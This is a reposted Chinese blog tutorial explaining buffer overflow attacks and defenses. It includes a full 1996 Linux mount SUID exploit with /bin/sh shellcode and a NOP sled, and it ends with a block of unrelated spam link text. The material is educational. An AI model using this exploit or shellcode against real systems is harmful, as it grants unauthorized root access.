• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            旅途

            如果想飛得高,就該把地平線(xiàn)忘掉

            緩沖區(qū)溢出原理及防護(hù)


            摘 要 本文詳細(xì)分析了緩沖區(qū)溢出的原理,描述了網(wǎng)絡(luò)攻擊者利用緩沖區(qū)溢出漏洞進(jìn)行系統(tǒng)攻擊的一般過(guò)程,最后簡(jiǎn)單討論了幾種緩沖區(qū)溢出的保護(hù)方法。
            關(guān)鍵詞 緩沖區(qū)溢出 緩沖區(qū)溢出漏洞 安全攻擊 緩沖區(qū)溢出保護(hù)

            在 過(guò)去的十年中,以緩沖區(qū)溢出為攻擊類(lèi)型的安全漏洞是最為常見(jiàn)的一種形式。更為嚴(yán)重的是,緩沖區(qū)溢出漏洞占了遠(yuǎn)程網(wǎng)絡(luò)攻擊的絕大多數(shù),這種攻擊可以使得一個(gè) 匿名的Internet用戶(hù)有機(jī)會(huì)獲得一臺(tái)主機(jī)的部分或全部的控制權(quán)!由于這類(lèi)攻擊使任何人都有可能取得主機(jī)的控制權(quán),所以它代表了一類(lèi)極其嚴(yán)重的安全威 脅。

            緩沖區(qū)溢出攻擊之所以成為一種常見(jiàn)的攻擊手段,其原因在于緩沖區(qū)溢出漏洞太普通了,并且易于實(shí)現(xiàn)。而且,緩沖區(qū)溢出所以成為遠(yuǎn)程攻擊 的主要手段,其原因在于緩沖區(qū)溢出漏洞給予了攻擊者所想要的一切:殖入并且執(zhí)行攻擊代碼。被殖入的攻擊代碼以一定的權(quán)限運(yùn)行有緩沖區(qū)溢出漏洞的程序,從而 得到被攻擊主機(jī)的控制權(quán)。本文簡(jiǎn)單介紹了緩沖區(qū)溢出的基本原理和預(yù)防辦法。


            一、緩沖區(qū)溢出的概念和原理

            緩沖區(qū)是 內(nèi)存中存放數(shù)據(jù)的地方。在程序試圖將數(shù)據(jù)放到機(jī)器內(nèi)存中的某一個(gè)位置的時(shí)候,因?yàn)闆](méi)有足夠的空間就會(huì)發(fā)生緩沖區(qū)溢出。而人為的溢出則是有一定企圖的,攻擊 者寫(xiě)一個(gè)超過(guò)緩沖區(qū)長(zhǎng)度的字符串,植入到緩沖區(qū),然后再向一個(gè)有限空間的緩沖區(qū)中植入超長(zhǎng)的字符串,這時(shí)可能會(huì)出現(xiàn)兩個(gè)結(jié)果:一是過(guò)長(zhǎng)的字符串覆蓋了相鄰 的存儲(chǔ)單元,引起程序運(yùn)行失敗,嚴(yán)重的可導(dǎo)致系統(tǒng)崩潰;另一個(gè)結(jié)果就是利用這種漏洞可以執(zhí)行任意指令,甚至可以取得系統(tǒng)root特級(jí)權(quán)限。

            緩 沖區(qū)是程序運(yùn)行的時(shí)候機(jī)器內(nèi)存中的一個(gè)連續(xù)塊,它保存了給定類(lèi)型的數(shù)據(jù),隨著動(dòng)態(tài)分配變量會(huì)出現(xiàn)問(wèn)題。大多時(shí)為了不占用太多的內(nèi)存,一個(gè)有動(dòng)態(tài)分配變量的 程序在程序運(yùn)行時(shí)才決定給它們分配多少內(nèi)存。如果程序在動(dòng)態(tài)分配緩沖區(qū)放入超長(zhǎng)的數(shù)據(jù),它就會(huì)溢出了。一個(gè)緩沖區(qū)溢出程序使用這個(gè)溢出的數(shù)據(jù)將匯編語(yǔ)言代 碼放到機(jī)器的內(nèi)存里,通常是產(chǎn)生root權(quán)限的地方。僅僅單個(gè)的緩沖區(qū)溢出并不是問(wèn)題的根本所在。但如果溢出送到能夠以root權(quán)限運(yùn)行命令的區(qū)域,一旦 運(yùn)行這些命令,那可就等于把機(jī)器拱手相讓了
            造成緩沖區(qū)溢出的原因是程序中沒(méi)有仔細(xì)檢查用戶(hù)輸入的參數(shù)。例如下面程序:

            example1.c
            void func1(char *input) {
            char buffer[16];
            strcpy(buffer, input);
            }

            上 面的strcpy()將直接吧input中的內(nèi)容copy到buffer中。這樣只要input的長(zhǎng)度大于16,就會(huì)造成buffer的溢出,使程序運(yùn)行 出錯(cuò)。存在像strcpy這樣的問(wèn)題的標(biāo)準(zhǔn)函數(shù)還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在 循環(huán)內(nèi)的getc(),fgetc(),getchar()等。

            當(dāng)然,隨便往緩沖區(qū)中填東西造成它溢出一般只會(huì)出現(xiàn) Segmentation fault 錯(cuò)誤,而不能達(dá)到攻擊的目的。最常見(jiàn)的手段是通過(guò)制造緩沖區(qū)溢出使程序運(yùn)行一個(gè)用戶(hù)shell,再通過(guò)shell執(zhí)行其他命令。如果該程序?qū)儆趓oot且 有suid權(quán)限的話(huà),攻擊者就獲得了一個(gè)有root權(quán)限的shell,便可以對(duì)系統(tǒng)進(jìn)行任意操作了。

            請(qǐng)注意,如果沒(méi)有特別說(shuō)明,下面的內(nèi)容都假設(shè)用戶(hù)使用的平臺(tái)為基于Intel x86 CPU的Linux系統(tǒng)。對(duì)其他平臺(tái)來(lái)說(shuō),本文的概念同樣適用,但程序要做相應(yīng)修改。


            二、制造緩沖區(qū)溢出

            一個(gè)程序在內(nèi)存中通常分為程序段、數(shù)據(jù)段和堆棧三部分。程序段里放著程序的機(jī)器碼和只讀數(shù)據(jù)。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。動(dòng)態(tài)數(shù)據(jù)則通過(guò)堆棧來(lái)存放。在內(nèi)存中,它們的位置是:

            attachments/200509/04_194023_1.gif
            當(dāng) 程序中發(fā)生函數(shù)調(diào)用時(shí),計(jì)算機(jī)做如下操作:首先把參數(shù)壓入堆棧;然后保存指令寄存器(IP)中的內(nèi)容作為返回地址(RET);第三個(gè)放入堆棧的是基址寄存 器(FP);然后把當(dāng)前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變量留出一定空間,把SP減去適當(dāng)?shù)臄?shù)值。以下面程序?yàn)槔?br>
            example2.c
            void func1(char * input) {
            char buffer[16];
            strcpy(buffer, input);
            }
            void main() {
            char longstring[256];
            int i;
            for( i = 0; i < 255; i++)
            longstring [i] = 'B';
            func1(longstring);
            }

            當(dāng)調(diào)用函數(shù)func1()時(shí),堆棧如下:
            attachments/200509/04_194043_2.gif
            不 用說(shuō),程序執(zhí)行的結(jié)果是"Segmentation fault (core dumped)"或類(lèi)似的出錯(cuò)信息。因?yàn)閺腷uffer開(kāi)始的256個(gè)字節(jié)都將被* input的內(nèi)容'B'覆蓋,包括sfp, ret,甚至*input。'B'的16進(jìn)值為0x41,所以函數(shù)的返回地址變成了0x41414141,這超出了程序的地址空間,所以出現(xiàn)段錯(cuò)誤。


            三、緩沖區(qū)溢出漏洞攻擊方式

            緩 沖區(qū)溢出漏洞可以使任何一個(gè)有黑客技術(shù)的人取得機(jī)器的控制權(quán)甚至是最高權(quán)限。一般利用緩沖區(qū)溢出漏洞攻擊root程序,大都通過(guò)執(zhí)行類(lèi)似“exec (sh)”的執(zhí)行代碼來(lái)獲得root 的shell。黑客要達(dá)到目的通常要完成兩個(gè)任務(wù),就是在程序的地址空間里安排適當(dāng)?shù)拇a和通過(guò)適當(dāng)?shù)某跏蓟拇嫫骱痛鎯?chǔ)器,讓程序跳轉(zhuǎn)到安排好的地址空 間執(zhí)行。

            1、在程序的地址空間里安排適當(dāng)?shù)拇a
            在程序的地址空間里安排適當(dāng)?shù)拇a往往是相對(duì)簡(jiǎn)單的。如果要攻擊的代碼在所攻擊程 序中已經(jīng)存在了,那么就簡(jiǎn)單地對(duì)代碼傳遞一些參數(shù),然后使程序跳轉(zhuǎn)到目標(biāo)中就可以完成了。攻擊代碼要求執(zhí)行“exec(‘/bin/sh’)”,而在 libc庫(kù)中的代碼執(zhí)行“exec(arg)”,其中的“arg”是個(gè)指向字符串的指針參數(shù),只要把傳入的參數(shù)指針修改指向“/bin/sh”,然后再跳 轉(zhuǎn)到libc庫(kù)中的響應(yīng)指令序列就可以了。當(dāng)然,很多時(shí)候這個(gè)可能性是很小的,那么就得用一種叫“植入法”的方式來(lái)完成了。當(dāng)向要攻擊的程序里輸入一個(gè)字 符串時(shí),程序就會(huì)把這個(gè)字符串放到緩沖區(qū)里,這個(gè)字符串包含的數(shù)據(jù)是可以在這個(gè)所攻擊的目標(biāo)的硬件平臺(tái)上運(yùn)行的指令序列。緩沖區(qū)可以設(shè)在:堆棧(自動(dòng)變 量)、堆(動(dòng)態(tài)分配的)和靜態(tài)數(shù)據(jù)區(qū)(初始化或者未初始化的數(shù)據(jù))等的任何地方。也可以不必為達(dá)到這個(gè)目的而溢出任何緩沖區(qū),只要找到足夠的空間來(lái)放置這 些攻擊代碼就夠了。

            2、控制程序轉(zhuǎn)移到攻擊代碼的形式
            緩沖區(qū)溢出漏洞攻擊都是在尋求改變程序的執(zhí)行流程,使它跳轉(zhuǎn)到攻擊代碼,最 為基本的就是溢出一個(gè)沒(méi)有檢查或者其他漏洞的緩沖區(qū),這樣做就會(huì)擾亂程序的正常執(zhí)行次序。通過(guò)溢出某緩沖區(qū),可以改寫(xiě)相近程序的空間而直接跳轉(zhuǎn)過(guò)系統(tǒng)對(duì)身 份的驗(yàn)證。原則上來(lái)講攻擊時(shí)所針對(duì)的緩沖區(qū)溢出的程序空間可為任意空間。但因不同地方的定位相異,所以也就帶出了多種轉(zhuǎn)移方式。

            (1)Function Pointers(函數(shù)指針)
            在 程序中,“void (* foo) ( )”聲明了個(gè)返回值為“void” Function Pointers的變量“foo”。Function Pointers可以用來(lái)定位任意地址空間,攻擊時(shí)只需要在任意空間里的Function Pointers鄰近處找到一個(gè)能夠溢出的緩沖區(qū),然后用溢出來(lái)改變Function Pointers。當(dāng)程序通過(guò)Function Pointers調(diào)用函數(shù),程序的流程就會(huì)實(shí)現(xiàn)。

            (2)Activation Records(激活記錄)
            當(dāng)一個(gè)函數(shù)調(diào)用發(fā)生 時(shí),堆棧中會(huì)留駐一個(gè)Activation Records,它包含了函數(shù)結(jié)束時(shí)返回的地址。執(zhí)行溢出這些自動(dòng)變量,使這個(gè)返回的地址指向攻擊代碼,再通過(guò)改變程序的返回地址。當(dāng)函數(shù)調(diào)用結(jié)束時(shí),程 序就會(huì)跳轉(zhuǎn)到事先所設(shè)定的地址,而不是原來(lái)的地址。這樣的溢出方式也是較常見(jiàn)的。

            (3)Longjmp buffers(長(zhǎng)跳轉(zhuǎn)緩沖區(qū))
            在C 語(yǔ)言中包含了一個(gè)簡(jiǎn)單的檢驗(yàn)/恢復(fù)系統(tǒng),稱(chēng)為“setjmp/longjmp”,意思是在檢驗(yàn)點(diǎn)設(shè)定“setjmp(buffer)”,用longjmp (buffer)“來(lái)恢復(fù)檢驗(yàn)點(diǎn)。如果攻擊時(shí)能夠進(jìn)入緩沖區(qū)的空間,感覺(jué)“longjmp(buffer)”實(shí)際上是跳轉(zhuǎn)到攻擊的代碼。像 Function Pointers一樣,longjmp緩沖區(qū)能夠指向任何地方,所以找到一個(gè)可供溢出的緩沖區(qū)是最先應(yīng)該做的事情。

            3、植入綜合代碼和流程控制
            常見(jiàn)的溢出緩沖區(qū)攻擊類(lèi)是在一個(gè)字符串里綜合了代碼植入和Activation Records。攻擊時(shí)定位在一個(gè)可供溢出的自動(dòng)變量,然后向程序傳遞一個(gè)很大的字符串,在引發(fā)緩沖區(qū)溢出改變Activation Records的同時(shí)植入代碼(權(quán)因C在習(xí)慣上只為用戶(hù)和參數(shù)開(kāi)辟很小的緩沖區(qū))。植入代碼和緩沖區(qū)溢出不一定要一次性完成,可以在一個(gè)緩沖區(qū)內(nèi)放置代碼 (這個(gè)時(shí)候并不能溢出緩沖區(qū)),然后通過(guò)溢出另一個(gè)緩沖區(qū)來(lái)轉(zhuǎn)移程序的指針。這樣的方法一般是用于可供溢出的緩沖區(qū)不能放入全部代碼時(shí)的。如果想使用已經(jīng) 駐留的代碼不需要再外部植入的時(shí)候,通常必須先把代碼做為參數(shù)。在libc(熟悉C的朋友應(yīng)該知道,現(xiàn)在幾乎所有的C程序連接都是利用它來(lái)連接的)中的一 部分代碼段會(huì)執(zhí)行“exec(something)”,當(dāng)中的something就是參數(shù),使用緩沖區(qū)溢出改變程序的參數(shù),然后利用另一個(gè)緩沖區(qū)溢出使程 序指針指向libc中的特定的代碼段。 程序編寫(xiě)的錯(cuò)誤造成網(wǎng)絡(luò)的不安全性也應(yīng)當(dāng)受到重視,因?yàn)樗牟话踩砸驯痪彌_區(qū)溢出表現(xiàn)得淋漓盡致了。


            四、利用緩沖區(qū)溢出進(jìn)行的系統(tǒng)攻擊

            如 果已知某個(gè)程序有緩沖區(qū)溢出的缺陷,如何知道緩沖區(qū)的地址,在哪兒放入shell代碼呢?由于每個(gè)程序的堆棧起始地址是固定的,所以理論上可以通過(guò)反復(fù)重 試緩沖區(qū)相對(duì)于堆棧起始位置的距離來(lái)得到。但這樣的盲目猜測(cè)可能要進(jìn)行數(shù)百至上千次,實(shí)際上是不現(xiàn)實(shí)的。解決的辦法是利用空指令NOP。在shell代碼 前面放一長(zhǎng)串的NOP,返回地址可以指向這一串NOP中任一位置,執(zhí)行完NOP指令后程序?qū)⒓せ顂hell進(jìn)程。這樣就大大增加了猜中的可能性。下面是一 個(gè)緩沖區(qū)溢出攻擊的實(shí)例,它利用了系統(tǒng)程序mount的漏洞:

            example5.c
            /* Mount Exploit for Linux, Jul 30 1996
            Discovered and Coded by Bloodmask & Vio
            Covin Security 1996
            */
            #include
            #include
            #include
            #include
            #include
            #define PATH_MOUNT "/bin/umount"
            #define BUFFER_SIZE 1024
            #define DEFAULT_OFFSET 50
            u_long get_esp()
            {
            __asm__("movl %esp, %eax");
            }

            main(int argc, char **argv)
            {
            u_char execshell[] =
            "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
            "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
            "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
            char *buff = NULL;
            unsigned long *addr_ptr = NULL;
            char *ptr = NULL;
            int i;
            int ofs = DEFAULT_OFFSET;
            buff = malloc(4096);
            if(!buff)
            {
            printf("can't allocate memory\n");
            exit(0);
            }
            ptr = buff;
            /* fill start of buffer with nops */
            memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
            ptr += BUFFER_SIZE-strlen(execshell);
            /* stick asm code into the buffer */
            for(i=0;i < strlen(execshell);i++)
            *(ptr++) = execshell ;
            addr_ptr = (long *)ptr;
            for(i=0;i < (8/4);i++)
            *(addr_ptr++) = get_esp() + ofs;
            ptr = (char *)addr_ptr;
            *ptr = 0;
            (void)alarm((u_int)0);
            printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
            execl(PATH_MOUNT, "mount", buff, NULL);
            }

            程 序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。程序首先分配一塊暫存區(qū)buff,然后在buff的前面部分填滿(mǎn)NOP,后面部分放shell代碼。 最后部分是希望程序返回的地址,由棧地址加偏移得到。當(dāng)以buff為參數(shù)調(diào)用mount時(shí),將造成mount程序的堆棧溢出,其緩沖區(qū)被buff覆蓋,而 返回地址將指向NOP指令。

            由于mount程序的屬主是root且有suid位,普通用戶(hù)運(yùn)行上面程序的結(jié)果將獲得一個(gè)具有root權(quán)限的shell。


            五、緩沖區(qū)溢出的保護(hù)方法

            目前有四種基本的方法保護(hù)緩沖區(qū)免受緩沖區(qū)溢出的攻擊和影響:

            1、強(qiáng)制寫(xiě)正確的代碼的方法
            編 寫(xiě)正確的代碼是一件非常有意義但耗時(shí)的工作,特別像編寫(xiě)C語(yǔ)言那種具有容易出錯(cuò)傾向的程序(如:字符串的零結(jié)尾),這種風(fēng)格是由于追求性能而忽視正確性的 傳統(tǒng)引起的。盡管花了很長(zhǎng)的時(shí)間使得人們知道了如何編寫(xiě)安全的程序,具有安全漏洞的程序依舊出現(xiàn)。因此人們開(kāi)發(fā)了一些工具和技術(shù)來(lái)幫助經(jīng)驗(yàn)不足的程序員編 寫(xiě)安全正確的程序。雖然這些工具幫助程序員開(kāi)發(fā)更安全的程序,但是由于C語(yǔ)言的特點(diǎn),這些工具不可能找出所有的緩沖區(qū)溢出漏洞。所以,偵錯(cuò)技術(shù)只能用來(lái)減 少緩沖區(qū)溢出的可能,并不能完全地消除它的存在。除非程序員能保證他的程序萬(wàn)無(wú)一失,否則還是要用到以下部分的內(nèi)容來(lái)保證程序的可靠性能。

            2、通過(guò)操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行,從而阻止攻擊者殖入攻擊代碼
            這種方法有效地阻止了很多緩沖區(qū)溢出的攻擊,但是攻擊者并不一定要殖入攻擊代碼來(lái)實(shí)現(xiàn)緩沖區(qū)溢出的攻擊,所以這種方法還是存在很多弱點(diǎn)的。

            3、利用編譯器的邊界檢查來(lái)實(shí)現(xiàn)緩沖區(qū)的保護(hù)
            這個(gè)方法使得緩沖區(qū)溢出不可能出現(xiàn),從而完全消除了緩沖區(qū)溢出的威脅,但是相對(duì)而言代價(jià)比較大。

            4、在程序指針失效前進(jìn)行完整性檢查
            這樣雖然這種方法不能使得所有的緩沖區(qū)溢出失效,但它的確確阻止了絕大多數(shù)的緩沖區(qū)溢出攻擊,而能夠逃脫這種方法保護(hù)的緩沖區(qū)溢出也很難實(shí)現(xiàn)。

            最 普通的緩沖區(qū)溢出形式是攻擊活動(dòng)紀(jì)錄然后在堆棧中殖入代碼。這種類(lèi)型的攻擊在1996年中有很多紀(jì)錄。而非執(zhí)行堆棧和堆棧保護(hù)的方法都可以有效防衛(wèi)這種攻 擊。非執(zhí)行堆棧可以防衛(wèi)所有把代碼殖入堆棧的攻擊方法,堆棧保護(hù)可以防衛(wèi)所有改變活動(dòng)紀(jì)錄的方法。這兩種方法相互兼容,可以同時(shí)防衛(wèi)多種可能的攻擊。
            剩下的攻擊基本上可以用指針保護(hù)的方法來(lái)防衛(wèi),但是在某些特殊的場(chǎng)合需要用手工來(lái)實(shí)現(xiàn)指針保護(hù)。全自動(dòng)的指針保護(hù)需要對(duì)每個(gè)變量加入附加字節(jié),這樣使得指針邊界檢查在某些情況下具有優(yōu)勢(shì)。

            最為有趣的是,緩沖區(qū)溢出漏洞--Morris蠕蟲(chóng)使用了現(xiàn)今所有方法都無(wú)法有效防衛(wèi)的方法,但是由于過(guò)于復(fù)雜的緣故卻很少有人用到。

            在本文中,我們?cè)敿?xì)描述和分析了緩沖區(qū)溢出的原理,并簡(jiǎn)單介紹了幾種防衛(wèi)方法。由于這種攻擊是目前常見(jiàn)的攻擊手段,所以進(jìn)行這個(gè)方面的研究工作是有意義和成效的。


            參考文獻(xiàn)
            [1] 網(wǎng)絡(luò)入侵檢測(cè)分析員手冊(cè). Stephen Northcutt著.余青霓等譯.人民郵電出版社,2000.3
            [2] C語(yǔ)言疑難問(wèn)題解析. 嚴(yán)桂蘭,劉甲耀編著.華東華工學(xué)院出版社,1993,1.
            [3] 網(wǎng)絡(luò)最高安全技術(shù)指南. 王銳等譯.機(jī)械工業(yè)出版社,1998,5.


            posted on 2007-07-22 03:17 旅途 閱讀(415) 評(píng)論(0)  編輯 收藏 引用 所屬分類(lèi): C/C++深入windows

            伊人久久大香线蕉无码麻豆| 国内精品久久久久久99蜜桃| 久久久久免费精品国产| 99热都是精品久久久久久| 99久久免费国产精精品| 亚洲va久久久噜噜噜久久狠狠 | 99久久国产综合精品麻豆| 人妻无码久久一区二区三区免费| 欧美亚洲色综久久精品国产| 亚洲AV日韩AV永久无码久久| 久久妇女高潮几次MBA| 日韩精品久久久久久久电影| 亚洲精品乱码久久久久久蜜桃图片| 欧美精品九九99久久在观看| 午夜精品久久久久成人| 久久婷婷激情综合色综合俺也去| 久久久久久无码Av成人影院| 久久免费观看视频| 人人狠狠综合久久亚洲| 日本加勒比久久精品| 无码精品久久一区二区三区 | 色噜噜狠狠先锋影音久久| 国产成人精品久久| 久久精品18| 狠狠色丁香婷婷久久综合不卡| 欧美亚洲国产精品久久高清| 久久精品国产69国产精品亚洲| 国产精品成人久久久久三级午夜电影| 久久久久亚洲AV无码去区首| 精品久久久无码21p发布| 国产精品一区二区久久精品| 久久天天躁狠狠躁夜夜不卡 | 性做久久久久久久久久久| 久久久久亚洲AV成人片| 久久综合给合综合久久| 久久精品国产久精国产思思| 久久久久久A亚洲欧洲AV冫| 久久久久亚洲av无码专区| 久久亚洲欧洲国产综合| 久久青青草原国产精品免费| 久久精品国产亚洲AV蜜臀色欲|